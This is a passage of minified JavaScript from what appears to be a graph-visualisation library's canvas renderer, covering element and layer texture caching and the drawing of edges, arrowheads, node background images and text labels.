T}g.context.translate(g.usedWidth,0);g.context.scale(l,l);this.drawElement(g.context,e,t,v,false);g.context.scale(1/l,1/l);g.context.translate(-g.usedWidth,0)}d={x:g.usedWidth,texture:g,level:n,scale:l,width:c,height:f,scaledLabelShown:v};g.usedWidth+=Math.ceil(c+ju);g.eleCaches.push(d);u.set(e,n,d);i.checkTextureFullness(g);return d};el.invalidateElements=function(e){for(var t=0;t<e.length;t++){this.invalidateElement(e[t])}};el.invalidateElement=function(e){var t=this;var r=t.lookup;var n=[];var a=r.isInvalid(e);if(!a){return}for(var i=Au;i<=Lu;i++){var o=r.getForCachedKey(e,i);if(o){n.push(o)}}var s=r.invalidate(e);if(s){for(var u=0;u<n.length;u++){var l=n[u];var f=l.texture;f.invalidatedWidth+=l.width;l.invalidated=true;t.checkTextureUtility(f)}}t.removeFromQueue(e)};el.checkTextureUtility=function(e){if(e.invalidatedWidth>=qu*e.width){this.retireTexture(e)}};el.checkTextureFullness=function(e){var t=this;var r=t.getTextureQueue(e.height);if(e.usedWidth/e.width>Gu&&e.fullnessChecks>=Yu){$e(r,e)}else{e.fullnessChecks++}};el.retireTexture=function(e){var t=this;var r=e.height;var n=t.getTextureQueue(r);var a=this.lookup;$e(n,e);e.retired=true;var i=e.eleCaches;for(var o=0;o<i.length;o++){var s=i[o];a.deleteCache(s.key,s.level)}Ze(i);var u=t.getRetiredTextureQueue(r);u.push(e)};el.addTexture=function(e,t){var r=this;var n=r.getTextureQueue(e);var a={};n.push(a);a.eleCaches=[];a.height=e;a.width=Math.max(Ru,t);a.usedWidth=0;a.invalidatedWidth=0;a.fullnessChecks=0;a.canvas=r.renderer.makeOffscreenCanvas(a.width,a.height);a.context=a.canvas.getContext("2d");return a};el.recycleTexture=function(e,t){var r=this;var n=r.getTextureQueue(e);var a=r.getRetiredTextureQueue(e);for(var i=0;i<a.length;i++){var o=a[i];if(o.width>=t){o.retired=false;o.usedWidth=0;o.invalidatedWidth=0;o.fullnessChecks=0;Ze(o.eleCaches);o.context.setTransform(1,0,0,1,0,0);o.context.clearRect(0,0,o.width,o.height);$e(a,o);n.push(o);return o}}};el.queueElement=function(e,t){var r=this;var n=r.getElementQueue();var a=r.getElementKeyToQueue();var i=this.getKey(e);var o=a[i];if(o){o.level=Math.max(o.level,t);o.eles.merge(e);o.reqs++;n.updateItem(o)}else{var s={eles:e.spawn().merge(e),level:t,reqs:1,key:i};n.push(s);a[i]=s}};el.dequeue=function(e){var t=this;var r=t.getElementQueue();var n=t.getElementKeyToQueue();var a=[];var i=t.lookup;for(var o=0;o<$u;o++){if(r.size()>0){var s=r.pop();var u=s.key;var l=s.eles[0];var f=i.hasCache(l,s.level);n[u]=null;if(f){continue}a.push(s);var c=t.getBoundingBox(l);t.getElement(l,c,e,s.level,Zu.dequeue)}else{break}}return a};el.removeFromQueue=function(e){var t=this;var r=t.getElementQueue();var n=t.getElementKeyToQueue();var a=this.getKey(e);var i=n[a];if(i!=null){if(i.eles.length===1){i.reqs=Ae;r.updateItem(i);r.pop();n[a]=null}else{i.eles.unmerge(e)}}};el.onDequeue=function(e){this.onDequeues.push(e)};el.offDequeue=function(e){$e(this.onDequeues,e)};el.setupDequeueing=Iu.setupDequeueing({deqRedrawThreshold:Ku,deqCost:Xu,deqAvgCost:Wu,deqNoDrawCost:Hu,deqFastCost:Uu,deq:function e(t,r,n){return t.dequeue(r,n)},onDeqd:function e(t,r){for(var n=0;n<t.onDequeues.length;n++){var a=t.onDequeues[n];a(r)}},shouldRedraw:function e(t,r,n,a){for(var i=0;i<r.length;i++){var o=r[i].eles;for(var s=0;s<o.length;s++){var u=o[s].boundingBox();if(Kt(u,a)){return true}}}return false},priority:function e(t){return t.renderer.beforeRenderPriorities.eleTxrDeq}});var tl=1;var rl=-4;var nl=2;var al=3.99;var il=50;var ol=50;var sl=.15;var ul=.1;var ll=.9;var fl=.9;var cl=1;var vl=250;var dl=4e3*4e3;var hl=true;var pl=function e(t){var r=this;var n=r.renderer=t;var o=n.cy;r.layersByLevel={};r.firstGet=true;r.lastInvalidationTime=me()-2*vl;r.skipping=false;r.eleTxrDeqs=o.collection();r.scheduleElementRefinement=a((function(){r.refineElementTextures(r.eleTxrDeqs);r.eleTxrDeqs.unmerge(r.eleTxrDeqs)}),ol);n.beforeRender((function(e,t){if(t-r.lastInvalidationTime<=vl){r.skipping=true}else{r.skipping=false}}),n.beforeRenderPriorities.lyrTxrSkip);var s=function e(t,r){return r.reqs-t.reqs};r.layersQueue=new i(s);r.setupDequeueing()};var gl=pl.prototype;var yl=0;var ml=Math.pow(2,53)-1;gl.makeLayer=function(e,t){var r=Math.pow(2,t);var n=Math.ceil(e.w*r);var a=Math.ceil(e.h*r);var i=this.renderer.makeOffscreenCanvas(n,a);var o={id:yl=++yl%ml,bb:e,level:t,width:n,height:a,canvas:i,context:i.getContext("2d"),eles:[],elesQueue:[],reqs:0};var s=o.context;var u=-o.bb.x1;var l=-o.bb.y1;s.scale(r,r);s.translate(u,l);return o};gl.getLayers=function(e,t,r){var n=this;var a=n.renderer;var i=a.cy;var o=i.zoom();var s=n.firstGet;n.firstGet=false;if(r==null){r=Math.ceil(Ot(o*t));if(r<rl){r=rl}else if(o>=al||r>nl){return null}}n.validateLayersElesOrdering(r,e);var u=n.layersByLevel;var l=Math.pow(2,r);var f=u[r]=u[r]||[];var c;var v=n.levelIsComplete(r,e);var d;var h=function t(){var a=function t(r){n.validateLayersElesOrdering(r,e);if(n.levelIsComplete(r,e)){d=u[r];return true}};var i=function e(t){if(d){return}for(var n=r+t;rl<=n&&n<=nl;n+=t){if(a(n)){break}}};i(+1);i(-1);for(var o=f.length-1;o>=0;o--){var s=f[o];if(s.invalid){$e(f,s)}}};if(!v){h()}else{return f}var p=function t(){if(!c){c=Vt();for(var r=0;r<e.length;r++){Yt(c,e[r].boundingBox())}}return c};var g=function e(t){t=t||{};var a=t.after;p();var i=c.w*l*(c.h*l);if(i>dl){return null}var o=n.makeLayer(c,r);if(a!=null){var s=f.indexOf(a)+1;f.splice(s,0,o)}else if(t.insert===undefined||t.insert){f.unshift(o)}return o};if(n.skipping&&!s){return null}var y=null;var m=e.length/tl;var b=!s;for(var x=0;x<e.length;x++){var w=e[x];var E=w._private.rscratch;var _=E.imgLayerCaches=E.imgLayerCaches||{};var k=_[r];if(k){y=k;continue}if(!y||y.eles.length>=m||!Qt(y.bb,w.boundingBox())){y=g({insert:true,after:y});if(!y){return null}}if(d||b){n.queueLayer(y,w)}else{n.drawEleInLayer(y,w,r,t)}y.eles.push(w);_[r]=y}if(d){return d}if(b){return null}return f};gl.getEleLevelForLayerLevel=function(e,t){return e};gl.drawEleInLayer=function(e,t,r,n){var a=this;var i=this.renderer;var o=e.context;var s=t.boundingBox();if(s.w===0||s.h===0||!t.visible()){return}r=a.getEleLevelForLayerLevel(r,n);{i.setImgSmoothing(o,false)}{i.drawCachedElement(o,t,null,null,r,hl)}{i.setImgSmoothing(o,true)}};gl.levelIsComplete=function(e,t){var r=this;var n=r.layersByLevel[e];if(!n||n.length===0){return false}var a=0;for(var i=0;i<n.length;i++){var o=n[i];if(o.reqs>0){return false}if(o.invalid){return false}a+=o.eles.length}if(a!==t.length){return false}return true};gl.validateLayersElesOrdering=function(e,t){var r=this.layersByLevel[e];if(!r){return}for(var n=0;n<r.length;n++){var a=r[n];var i=-1;for(var o=0;o<t.length;o++){if(a.eles[0]===t[o]){i=o;break}}if(i<0){this.invalidateLayer(a);continue}var s=i;for(var o=0;o<a.eles.length;o++){if(a.eles[o]!==t[s+o]){this.invalidateLayer(a);break}}}};gl.updateElementsInLayers=function(e,t){var r=this;var n=A(e[0]);for(var a=0;a<e.length;a++){var i=n?null:e[a];var o=n?e[a]:e[a].ele;var s=o._private.rscratch;var u=s.imgLayerCaches=s.imgLayerCaches||{};for(var l=rl;l<=nl;l++){var f=u[l];if(!f){continue}if(i&&r.getEleLevelForLayerLevel(f.level)!==i.level){continue}t(f,o,i)}}};gl.haveLayers=function(){var e=this;var t=false;for(var r=rl;r<=nl;r++){var n=e.layersByLevel[r];if(n&&n.length>0){t=true;break}}return t};gl.invalidateElements=function(e){var t=this;if(e.length===0){return}t.lastInvalidationTime=me();if(e.length===0||!t.haveLayers()){return}t.updateElementsInLayers(e,(function e(r,n,a){t.invalidateLayer(r)}))};gl.invalidateLayer=function(e){this.lastInvalidationTime=me();if(e.invalid){return}var t=e.level;var r=e.eles;var n=this.layersByLevel[t];$e(n,e);e.elesQueue=[];e.invalid=true;if(e.replacement){e.replacement.invalid=true}for(var a=0;a<r.length;a++){var i=r[a]._private.rscratch.imgLayerCaches;if(i){i[t]=null}}};gl.refineElementTextures=function(e){var t=this;t.updateElementsInLayers(e,(function e(r,n,a){var i=r.replacement;if(!i){i=r.replacement=t.makeLayer(r.bb,r.level);i.replaces=r;i.eles=r.eles}if(!i.reqs){for(var o=0;o<i.eles.length;o++){t.queueLayer(i,i.eles[o])}}}))};gl.enqueueElementRefinement=function(e){this.eleTxrDeqs.merge(e);this.scheduleElementRefinement()};gl.queueLayer=function(e,t){var r=this;var n=r.layersQueue;var a=e.elesQueue;var i=a.hasId=a.hasId||{};if(e.replacement){return}if(t){if(i[t.id()]){return}a.push(t);i[t.id()]=true}if(e.reqs){e.reqs++;n.updateItem(e)}else{e.reqs=1;n.push(e)}};gl.dequeue=function(e){var t=this;var r=t.layersQueue;var n=[];var a=0;while(a<cl){if(r.size()===0){break}var i=r.peek();if(i.replacement){r.pop();continue}if(i.replaces&&i!==i.replaces.replacement){r.pop();continue}if(i.invalid){r.pop();continue}var o=i.elesQueue.shift();if(o){t.drawEleInLayer(i,o,i.level,e);a++}if(n.length===0){n.push(true)}if(i.elesQueue.length===0){r.pop();i.reqs=0;if(i.replaces){t.applyLayerReplacement(i)}t.requestRedraw()}}return n};gl.applyLayerReplacement=function(e){var t=this;var r=t.layersByLevel[e.level];var n=e.replaces;var a=r.indexOf(n);if(a<0||n.invalid){return}r[a]=e;for(var i=0;i<e.eles.length;i++){var o=e.eles[i]._private;var s=o.imgLayerCaches=o.imgLayerCaches||{};if(s){s[e.level]=e}}t.requestRedraw()};gl.requestRedraw=a((function(){var e=this.renderer;e.redrawHint("eles",true);e.redrawHint("drag",true);e.redraw()}),100);gl.setupDequeueing=Iu.setupDequeueing({deqRedrawThreshold:il,deqCost:sl,deqAvgCost:ul,deqNoDrawCost:ll,deqFastCost:fl,deq:function e(t,r){return t.dequeue(r)},onDeqd:Re,shouldRedraw:Le,priority:function e(t){return t.renderer.beforeRenderPriorities.lyrTxrDeq}});var bl={};var xl;function wl(e,t){for(var r=0;r<t.length;r++){var n=t[r];e.lineTo(n.x,n.y)}}function El(e,t,r){var n;for(var a=0;a<t.length;a++){var i=t[a];if(a===0){n=i}e.lineTo(i.x,i.y)}e.quadraticCurveTo(r.x,r.y,n.x,n.y)}function _l(e,t,r){if(e.beginPath){e.beginPath()}var n=t;for(var a=0;a<n.length;a++){var i=n[a];e.lineTo(i.x,i.y)}var o=r;var s=r[0];e.moveTo(s.x,s.y);for(var a=1;a<o.length;a++){var i=o[a];e.lineTo(i.x,i.y)}if(e.closePath){e.closePath()}}function kl(e,t,r,n,a){if(e.beginPath){e.beginPath()}e.arc(r,n,a,0,Math.PI*2,false);var i=t;var o=i[0];e.moveTo(o.x,o.y);for(var s=0;s<i.length;s++){var u=i[s];e.lineTo(u.x,u.y)}if(e.closePath){e.closePath()}}function Sl(e,t,r,n){e.arc(t,r,n,0,Math.PI*2,false)}bl.arrowShapeImpl=function(e){return(xl||(xl={polygon:wl,"triangle-backcurve":El,"triangle-tee":_l,"circle-triangle":kl,"triangle-cross":_l,circle:Sl}))[e]};var Cl={};Cl.drawElement=function(e,t,r,n,a,i){var o=this;if(t.isNode()){o.drawNode(e,t,r,n,a,i)}else{o.drawEdge(e,t,r,n,a,i)}};Cl.drawElementOverlay=function(e,t){var r=this;if(t.isNode()){r.drawNodeOverlay(e,t)}else{r.drawEdgeOverlay(e,t)}};Cl.drawElementUnderlay=function(e,t){var r=this;if(t.isNode()){r.drawNodeUnderlay(e,t)}else{r.drawEdgeUnderlay(e,t)}};Cl.drawCachedElementPortion=function(e,t,r,n,a,i,o,s){var u=this;var l=r.getBoundingBox(t);if(l.w===0||l.h===0){return}var f=r.getElement(t,l,n,a,i);if(f!=null){var c=s(u,t);if(c===0){return}var v=o(u,t);var d=l.x1,h=l.y1,p=l.w,g=l.h;var y,m,b,x,w;if(v!==0){var E=r.getRotationPoint(t);b=E.x;x=E.y;e.translate(b,x);e.rotate(v);w=u.getImgSmoothing(e);if(!w){u.setImgSmoothing(e,true)}var _=r.getRotationOffset(t);y=_.x;m=_.y}else{y=d;m=h}var k;if(c!==1){k=e.globalAlpha;e.globalAlpha=k*c}e.drawImage(f.texture.canvas,f.x,0,f.width,f.height,y,m,p,g);if(c!==1){e.globalAlpha=k}if(v!==0){e.rotate(-v);e.translate(-b,-x);if(!w){u.setImgSmoothing(e,false)}}}else{r.drawElement(e,t)}};var Dl=function e(){return 0};var Tl=function e(t,r){return t.getTextAngle(r,null)};var Pl=function e(t,r){return t.getTextAngle(r,"source")};var Ml=function e(t,r){return t.getTextAngle(r,"target")};var Il=function e(t,r){return r.effectiveOpacity()};var Ol=function e(t,r){return r.pstyle("text-opacity").pfValue*r.effectiveOpacity()};Cl.drawCachedElement=function(e,t,r,n,a,i){var o=this;var s=o.data,u=s.eleTxrCache,l=s.lblTxrCache,f=s.slbTxrCache,c=s.tlbTxrCache;var v=t.boundingBox();var d=i===true?u.reasons.highQuality:null;if(v.w===0||v.h===0||!t.visible()){return}if(!n||Kt(v,n)){var h=t.isEdge();var p=t.element()._private.rscratch.badLine;o.drawElementUnderlay(e,t);o.drawCachedElementPortion(e,t,u,r,a,d,Dl,Il);if(!h||!p){o.drawCachedElementPortion(e,t,l,r,a,d,Tl,Ol)}if(h&&!p){o.drawCachedElementPortion(e,t,f,r,a,d,Pl,Ol);o.drawCachedElementPortion(e,t,c,r,a,d,Ml,Ol)}o.drawElementOverlay(e,t)}};Cl.drawElements=function(e,t){var r=this;for(var n=0;n<t.length;n++){var a=t[n];r.drawElement(e,a)}};Cl.drawCachedElements=function(e,t,r,n){var a=this;for(var i=0;i<t.length;i++){var o=t[i];a.drawCachedElement(e,o,r,n)}};Cl.drawCachedNodes=function(e,t,r,n){var a=this;for(var i=0;i<t.length;i++){var o=t[i];if(!o.isNode()){continue}a.drawCachedElement(e,o,r,n)}};Cl.drawLayeredElements=function(e,t,r,n){var a=this;var i=a.data.lyrTxrCache.getLayers(t,r);if(i){for(var o=0;o<i.length;o++){var s=i[o];var u=s.bb;if(u.w===0||u.h===0){continue}e.drawImage(s.canvas,u.x1,u.y1,u.w,u.h)}}else{a.drawCachedElements(e,t,r,n)}};var Nl={};Nl.drawEdge=function(e,t,r){var n=arguments.length>3&&arguments[3]!==undefined?arguments[3]:true;var a=arguments.length>4&&arguments[4]!==undefined?arguments[4]:true;var i=arguments.length>5&&arguments[5]!==undefined?arguments[5]:true;var o=this;var s=t._private.rscratch;if(i&&!t.visible()){return}if(s.badLine||s.allpts==null||isNaN(s.allpts[0])){return}var u;if(r){u=r;e.translate(-u.x1,-u.y1)}var l=i?t.pstyle("opacity").value:1;var f=i?t.pstyle("line-opacity").value:1;var c=t.pstyle("curve-style").value;var v=t.pstyle("line-style").value;var d=t.pstyle("width").pfValue;var h=t.pstyle("line-cap").value;var p=l*f;var g=l*f;var y=function r(){var n=arguments.length>0&&arguments[0]!==undefined?arguments[0]:p;if(c==="straight-triangle"){o.eleStrokeStyle(e,t,n);o.drawEdgeTrianglePath(t,e,s.allpts)}else{e.lineWidth=d;e.lineCap=h;o.eleStrokeStyle(e,t,n);o.drawEdgePath(t,e,s.allpts,v);e.lineCap="butt"}};var m=function r(){if(!a){return}o.drawEdgeOverlay(e,t)};var b=function r(){if(!a){return}o.drawEdgeUnderlay(e,t)};var x=function r(){var n=arguments.length>0&&arguments[0]!==undefined?arguments[0]:g;o.drawArrowheads(e,t,n)};var w=function r(){o.drawElementText(e,t,null,n)};e.lineJoin="round";var E=t.pstyle("ghost").value==="yes";if(E){var _=t.pstyle("ghost-offset-x").pfValue;var k=t.pstyle("ghost-offset-y").pfValue;var S=t.pstyle("ghost-opacity").value;var C=p*S;e.translate(_,k);y(C);x(C);e.translate(-_,-k)}b();y();x();m();w();if(r){e.translate(u.x1,u.y1)}};var zl=function e(t){if(!["overlay","underlay"].includes(t)){throw new Error("Invalid state")}return function(e,r){if(!r.visible()){return}var n=r.pstyle("".concat(t,"-opacity")).value;if(n===0){return}var a=this;var i=a.usePaths();var o=r._private.rscratch;var s=r.pstyle("".concat(t,"-padding")).pfValue;var u=2*s;var l=r.pstyle("".concat(t,"-color")).value;e.lineWidth=u;if(o.edgeType==="self"&&!i){e.lineCap="butt"}else{e.lineCap="round"}a.colorStrokeStyle(e,l[0],l[1],l[2],n);a.drawEdgePath(r,e,o.allpts,"solid")}};Nl.drawEdgeOverlay=zl("overlay");Nl.drawEdgeUnderlay=zl("underlay");Nl.drawEdgePath=function(e,t,r,n){var a=e._private.rscratch;var i=t;var o;var s=false;var u=this.usePaths();var l=e.pstyle("line-dash-pattern").pfValue;var f=e.pstyle("line-dash-offset").pfValue;if(u){var c=r.join("$");var v=a.pathCacheKey&&a.pathCacheKey===c;if(v){o=t=a.pathCache;s=true}else{o=t=new Path2D;a.pathCacheKey=c;a.pathCache=o}}if(i.setLineDash){switch(n){case"dotted":i.setLineDash([1,1]);break;case"dashed":i.setLineDash(l);i.lineDashOffset=f;break;case"solid":i.setLineDash([]);break}}if(!s&&!a.badLine){if(t.beginPath){t.beginPath()}t.moveTo(r[0],r[1]);switch(a.edgeType){case"bezier":case"self":case"compound":case"multibezier":for(var d=2;d+3<r.length;d+=4){t.quadraticCurveTo(r[d],r[d+1],r[d+2],r[d+3])}break;case"straight":case"segments":case"haystack":for(var h=2;h+1<r.length;h+=2){t.lineTo(r[h],r[h+1])}break}}t=i;if(u){t.stroke(o)}else{t.stroke()}if(t.setLineDash){t.setLineDash([])}};Nl.drawEdgeTrianglePath=function(e,t,r){t.fillStyle=t.strokeStyle;var n=e.pstyle("width").pfValue;for(var a=0;a+1<r.length;a+=2){var i=[r[a+2]-r[a],r[a+3]-r[a+1]];var o=Math.sqrt(i[0]*i[0]+i[1]*i[1]);var s=[i[1]/o,-i[0]/o];var u=[s[0]*n/2,s[1]*n/2];t.beginPath();t.moveTo(r[a]-u[0],r[a+1]-u[1]);t.lineTo(r[a]+u[0],r[a+1]+u[1]);t.lineTo(r[a+2],r[a+3]);t.closePath();t.fill()}};Nl.drawArrowheads=function(e,t,r){var n=t._private.rscratch;var a=n.edgeType==="haystack";if(!a){this.drawArrowhead(e,t,"source",n.arrowStartX,n.arrowStartY,n.srcArrowAngle,r)}this.drawArrowhead(e,t,"mid-target",n.midX,n.midY,n.midtgtArrowAngle,r);this.drawArrowhead(e,t,"mid-source",n.midX,n.midY,n.midsrcArrowAngle,r);if(!a){this.drawArrowhead(e,t,"target",n.arrowEndX,n.arrowEndY,n.tgtArrowAngle,r)}};Nl.drawArrowhead=function(e,t,r,n,a,i,o){if(isNaN(n)||n==null||isNaN(a)||a==null||isNaN(i)||i==null){return}var s=this;var u=t.pstyle(r+"-arrow-shape").value;if(u==="none"){return}var l=t.pstyle(r+"-arrow-fill").value==="hollow"?"both":"filled";var f=t.pstyle(r+"-arrow-fill").value;var c=t.pstyle("width").pfValue;var v=t.pstyle("opacity").value;if(o===undefined){o=v}var d=e.globalCompositeOperation;if(o!==1||f==="hollow"){e.globalCompositeOperation="destination-out";s.colorFillStyle(e,255,255,255,1);s.colorStrokeStyle(e,255,255,255,1);s.drawArrowShape(t,e,l,c,u,n,a,i);e.globalCompositeOperation=d}var h=t.pstyle(r+"-arrow-color").value;s.colorFillStyle(e,h[0],h[1],h[2],o);s.colorStrokeStyle(e,h[0],h[1],h[2],o);s.drawArrowShape(t,e,f,c,u,n,a,i)};Nl.drawArrowShape=function(e,t,r,n,a,i,o,s){var u=this;var l=this.usePaths()&&a!=="triangle-cross";var f=false;var c;var v=t;var d={x:i,y:o};var h=e.pstyle("arrow-scale").value;var p=this.getArrowWidth(n,h);var g=u.arrowShapes[a];if(l){var y=u.arrowPathCache=u.arrowPathCache||[];var m=Pe(a);var b=y[m];if(b!=null){c=t=b;f=true}else{c=t=new Path2D;y[m]=c}}if(!f){if(t.beginPath){t.beginPath()}if(l){g.draw(t,1,0,{x:0,y:0},1)}else{g.draw(t,p,s,d,n)}if(t.closePath){t.closePath()}}t=v;if(l){t.translate(i,o);t.rotate(s);t.scale(p,p)}if(r==="filled"||r==="both"){if(l){t.fill(c)}else{t.fill()}}if(r==="hollow"||r==="both"){t.lineWidth=(g.matchEdgeWidth?n:1)/(l?p:1);t.lineJoin="miter";if(l){t.stroke(c)}else{t.stroke()}}if(l){t.scale(1/p,1/p);t.rotate(-s);t.translate(-i,-o)}};var Al={};Al.safeDrawImage=function(e,t,r,n,a,i,o,s,u,l){if(a<=0||i<=0||u<=0||l<=0){return}e.drawImage(t,r,n,a,i,o,s,u,l)};Al.drawInscribedImage=function(e,t,r,n,a){var i=this;var o=r.position();var s=o.x;var u=o.y;var l=r.cy().style();var f=l.getIndexedStyle.bind(l);var c=f(r,"background-fit","value",n);var v=f(r,"background-repeat","value",n);var d=r.width();var h=r.height();var p=r.padding()*2;var g=d+(f(r,"background-width-relative-to","value",n)==="inner"?0:p);var y=h+(f(r,"background-height-relative-to","value",n)==="inner"?0:p);var m=r._private.rscratch;var b=f(r,"background-clip","value",n);var x=b==="node";var w=f(r,"background-image-opacity","value",n)*a;var E=f(r,"background-image-smoothing","value",n);var _=t.width||t.cachedW;var k=t.height||t.cachedH;if(null==_||null==k){document.body.appendChild(t);_=t.cachedW=t.width||t.offsetWidth;k=t.cachedH=t.height||t.offsetHeight;document.body.removeChild(t)}var S=_;var C=k;if(f(r,"background-width","value",n)!=="auto"){if(f(r,"background-width","units",n)==="%"){S=f(r,"background-width","pfValue",n)*g}else{S=f(r,"background-width","pfValue",n)}}if(f(r,"background-height","value",n)!=="auto"){if(f(r,"background-height","units",n)==="%"){C=f(r,"background-height","pfValue",n)*y}else{C=f(r,"background-height","pfValue",n)}}if(S===0||C===0){return}if(c==="contain"){var D=Math.min(g/S,y/C);S*=D;C*=D}else if(c==="cover"){var D=Math.max(g/S,y/C);S*=D;C*=D}var T=s-g/2;var P=f(r,"background-position-x","units",n);var M=f(r,"background-position-x","pfValue",n);if(P==="%"){T+=(g-S)*M}else{T+=M}var I=f(r,"background-offset-x","units",n);var O=f(r,"background-offset-x","pfValue",n);if(I==="%"){T+=(g-S)*O}else{T+=O}var N=u-y/2;var z=f(r,"background-position-y","units",n);var A=f(r,"background-position-y","pfValue",n);if(z==="%"){N+=(y-C)*A}else{N+=A}var L=f(r,"background-offset-y","units",n);var B=f(r,"background-offset-y","pfValue",n);if(L==="%"){N+=(y-C)*B}else{N+=B}if(m.pathCache){T-=s;N-=u;s=0;u=0}var j=e.globalAlpha;e.globalAlpha=w;var R=i.getImgSmoothing(e);var F=false;if(E==="no"&&R){i.setImgSmoothing(e,false);F=true}else if(E==="yes"&&!R){i.setImgSmoothing(e,true);F=true}if(v==="no-repeat"){if(x){e.save();if(m.pathCache){e.clip(m.pathCache)}else{i.nodeShapes[i.getNodeShape(r)].draw(e,s,u,g,y);e.clip()}}i.safeDrawImage(e,t,0,0,_,k,T,N,S,C);if(x){e.restore()}}else{var V=e.createPattern(t,v);e.fillStyle=V;i.nodeShapes[i.getNodeShape(r)].draw(e,s,u,g,y);e.translate(T,N);e.fill();e.translate(-T,-N)}e.globalAlpha=j;if(F){i.setImgSmoothing(e,R)}};var Ll={};Ll.eleTextBiggerThanMin=function(e,t){if(!t){var r=e.cy().zoom();var n=this.getPixelRatio();var a=Math.ceil(Ot(r*n));t=Math.pow(2,a)}var i=e.pstyle("font-size").pfValue*t;var o=e.pstyle("min-zoomed-font-size").pfValue;if(i<o){return false}return true};Ll.drawElementText=function(e,t,r,n,a){var i=arguments.length>5&&arguments[5]!==undefined?arguments[5]:true;var o=this;if(n==null){if(i&&!o.eleTextBiggerThanMin(t)){return}}else if(n===false){return}if(t.isNode()){var s=t.pstyle("label");if(!s||!s.value){return}var u=o.getLabelJustification(t);e.textAlign=u;e.textBaseline="bottom"}else{var l=t.element()._private.rscratch.badLine;var f=t.pstyle("label");var c=t.pstyle("source-label");var v=t.pstyle("target-label");if(l||(!f||!f.value)&&(!c||!c.value)&&(!v||!v.value)){return}e.textAlign="center";e.textBaseline="bottom"}var d=!r;var h;if(r){h=r;e.translate(-h.x1,-h.y1)}if(a==null){o.drawText(e,t,null,d,i);if(t.isEdge()){o.drawText(e,t,"source",d,i);o.drawText(e,t,"target",d,i)}}else{o.drawText(e,t,a,d,i)}if(r){e.translate(h.x1,h.y1)}};Ll.getFontCache=function(e){var t;this.fontCaches=this.fontCaches||[];for(var r=0;r<this.fontCaches.length;r++){t=this.fontCaches[r];if(t.context===e){return t}}t={context:e};this.fontCaches.push(t);return t};Ll.setupTextStyle=function(e,t){var r=arguments.length>2&&arguments[2]!==undefined?arguments[2]:true;var n=t.pstyle("font-style").strValue;var a=t.pstyle("font-size").pfValue+"px";var i=t.pstyle("font-family").strValue;var o=t.pstyle("font-weight").strValue;var s=r?t.effectiveOpacity()*t.pstyle("text-opacity").value:1;var u=t.pstyle("text-outline-opacity").value*s;var l=t.pstyle("color").value;var f=t.pstyle("text-outline-color").value;e.font=n+" "+o+" "+a+" "+i;e.lineJoin="round";this.colorFillStyle(e,l[0],l[1],l[2],s);this.colorStrokeStyle(e,f[0],f[1],f[2],u)};function Bl(e,t,r,n,a){var i=arguments.length>5&&arguments[5]!==undefined?arguments[5]:5;e.beginPath();e.moveTo(t+i,r);e.lineTo(t+n-i,r);e.quadraticCurveTo(t+n,r,t+n,r+i);e.lineTo(t+n,r+a-i);e.quadraticCurveTo(t+n,r+a,t+n-i,r+a);e.lineTo(t+i,r+a);e.quadraticCurveTo(t,r+a,t,r+a-i);e.lineTo(t,r+i);e.quadraticCurveTo(t,r,t+i,r);e.closePath();e.fill()}Ll.getTextAngle=function(e,t){var r;var n=e._private;var a=n.rscratch;var i=t?t+"-":"";var o=e.pstyle(i+"text-rotation");var s=Je(a,"labelAngle",t);if(o.strValue==="autorotate"){r=e.isEdge()?s:0}else if(o.strValue==="none"){r=0}else{r=o.pfValue}return r};Ll.drawText=function(e,t,r){var n=arguments.length>3&&arguments[3]!==undefined?arguments[3]:true;var a=arguments.length>4&&arguments[4]!==undefined?arguments[4]:true;var i=t._private;var o=i.rscratch;var s=a?t.effectiveOpacity():1;if(a&&(s===0||t.pstyle("text-opacity").value===0)){return}if(r==="main"){r=null}var u=Je(o,"labelX",r);var l=Je(o,"labelY",r);var f,c;var v=this.getLabelText(t,r);if(v!=null&&v!==""&&!isNaN(u)&&!isNaN(l)){this.setupTextStyle(e,t,a);var d=r?r+"-":"";var h=Je(o,"labelWidth",r);var p=Je(o,"labelHeight",r);var g=t.pstyle(d+"text-margin-x").pfValue;var y=t.pstyle(d+"text-margin-y").pfValue;var m=t.isEdge();var b=t.pstyle("text-halign").value;var x=t.pstyle("text-valign").value;if(m){b="center";x="center"}u+=g;l+=y;var w;if(!n){w=0}else{w=this.getTextAngle(t,r)}if(w!==0){f=u;c=l;e.translate(f,c);e.rotate(w);u=0;l=0}switch(x){case"top":break;case"center":l+=p/2;break;case"bottom":l+=p;break}var E=t.pstyle("text-background-opacity").value;var _=t.pstyle("text-border-opacity").value;var k=t.pstyle("text-border-width").pfValue;var S=t.pstyle("text-background-padding").pfValue;if(E>0||k>0&&_>0){var C=u-S;switch(b){case"left":C-=h;break;case"center":C-=h/2;break}var D=l-p-S;var T=h+2*S;var P=p+2*S;if(E>0){var M=e.fillStyle;var I=t.pstyle("text-background-color").value;e.fillStyle="rgba("+I[0]+","+I[1]+","+I[2]+","+E*s+")";var O=t.pstyle("text-background-shape").strValue;if(O.indexOf("round")===0){Bl(e,C,D,T,P,2)}else{e.fillRect(C,D,T,P)}e.fillStyle=M}if(k>0&&_>0){var N=e.strokeStyle;var z=e.lineWidth;var A=t.pstyle("text-border-color").value;var L=t.pstyle("text-border-style").value;e.strokeStyle="rgba("+A[0]+","+A[1]+","+A[2]+","+_*s+")";e.lineWidth=k;if(e.setLineDash){switch(L){case"dotted":e.setLineDash([1,1]);break;case"dashed":e.setLineDash([4,2]);break;case"double":e.lineWidth=k/4;e.setLineDash([]);break;case"solid":e.setLineDash([]);break}}e.strokeRect(C,D,T,P);if(L==="double"){var B=k/2;e.strokeRect(C+B,D+B,T-B*2,P-B*2)}if(e.setLineDash){e.setLineDash([])}e.lineWidth=z;e.strokeStyle=N}}var j=2*t.pstyle("text-outline-width").pfValue;if(j>0){e.lineWidth=j}if(t.pstyle("text-wrap").value==="wrap"){var R=Je(o,"labelWrapCachedLines",r);var F=Je(o,"labelLineHeight",r);var V=h/2;var q=this.getLabelJustification(t);if(q==="auto");else if(b==="left"){if(q==="left"){u+=-h}else if(q==="center"){u+=-V}}else if(b==="center"){if(q==="left"){u+=-V}else if(q==="right"){u+=V}}else if(b==="right"){if(q==="center"){u+=V}else if(q==="right"){u+=h}}switch(x){case"top":l-=(R.length-1)*F;break;case"center":case"bottom":l-=(R.length-1)*F;break}for(var G=0;G<R.length;G++){if(j>0){e.strokeText(R[G],u,l)}e.fillText(R[G],u,l);l+=F}}else{if(j>0){e.strokeText(v,u,l)}e.fillText(v,u,l)}if(w!==0){e.rotate(-w);e.translate(-f,-c)}}};var jl={};jl.drawNode=function(e,t,r){var 